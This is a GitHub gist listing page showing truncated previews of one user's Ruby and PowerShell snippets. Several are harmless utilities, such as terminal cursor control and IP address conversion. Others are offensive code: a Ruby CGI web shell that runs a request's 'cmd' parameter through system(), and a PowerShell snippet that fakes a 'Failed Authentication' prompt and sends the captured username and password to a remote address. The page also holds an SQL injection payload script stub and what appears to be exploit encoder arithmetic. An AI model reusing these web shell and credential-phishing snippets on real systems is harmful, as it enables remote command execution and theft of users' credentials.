Skip to content

Instantly share code, notes, and snippets.

View KINGSABRI's full-sized avatar
♠️

KING SABRI KINGSABRI

♠️
View GitHub Profile
@KINGSABRI
KINGSABRI / cursor.rb
Created September 21, 2015 00:49
Controlling Terminal Cursor in Ruby
class String
def mv_up(n=1)
cursor(self, "\033[#{n}A")
end
def mv_down(n=1)
cursor(self, "\033[#{n}B")
end
def mv_fw(n=1)
@KINGSABRI
KINGSABRI / hisokaSQLiBrowser.rb
Created September 16, 2015 23:33
For Ibrahim
#!/usr/bin/env ruby
#
# KING SABRI
# Hisoka SQLi - For Ibrahim
#
require 'open-uri'
require 'uri'
if ARGV.size < 2
puts "[+] ruby #{__FILE__} <IP_ADDRESS> <PAYLOAD>"
@KINGSABRI
KINGSABRI / multi-auth -req.rb
Last active August 29, 2015 09:27
To do multiple HTTP authenticated requests
require "net/http"
# Login
uri = URI.parse("http://xx.xx.xx/Login.aspx")
http = Net::HTTP.new(uri.host, uri.port)
http.set_debug_output($stdout)
request_login = Net::HTTP::Post.new(uri.request_uri)
request_login["Accept-Language"] = "en-US,en;q=0.5"
# Find All sum of 3-values that if we subtract from 0x1035E8EA wil give us 0x1035FFB4
# 0x1035E8EA
# 0x55554d66 -
# 0x55554b66 -
# 0x5555506a -
# ------------
# 0x1035FFB4
CHARS =
[
@KINGSABRI
KINGSABRI / ex.rb
Last active August 29, 2015 14:14
#!/usr/bin/env ruby
# echo "GET /cgi/shell.rb?cmd=ls%20-la" | nc localhost 80
require 'cgi'
cgi = CGI.new
puts cgi.header
system(cgi['cmd'])
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('https://172.16.102.163');
class CircularList < Array
def index
@index ||=0
@index.abs
end
def current
@index ||= 0
get_at(@index)
end
# How to convert IPv4 addresses between integer <=> dot-decimal notation
INTEGER = 1698212032
DOT_DECIMAL = '192.168.56.101'
# [ 192, 168, 56, 101 ]
DOT_DECIMAL_PARTS = DOT_DECIMAL.split('.').map(&:to_i)
####################################
# integer to dot-decimal
@KINGSABRI
KINGSABRI / readline.rb
Created September 4, 2013 17:27
Readline sub-command
require 'readline'
MAIN = ['help', 'show', 'set' , 'exit'].sort
SHOW = ['exploits', 'payloads', 'wiki'].sort
USE = ['exploit' , 'encoder'].sort
SET = ['payload', 'RHOST'].sort
comp = proc do |s|
if Readline.line_buffer =~ /help.* /
@KINGSABRI
KINGSABRI / colorize.rb
Created August 4, 2013 18:15
colorizing
module Xss
module Ui
module Console
module Prints
module Color
#
# Colorize String class extension.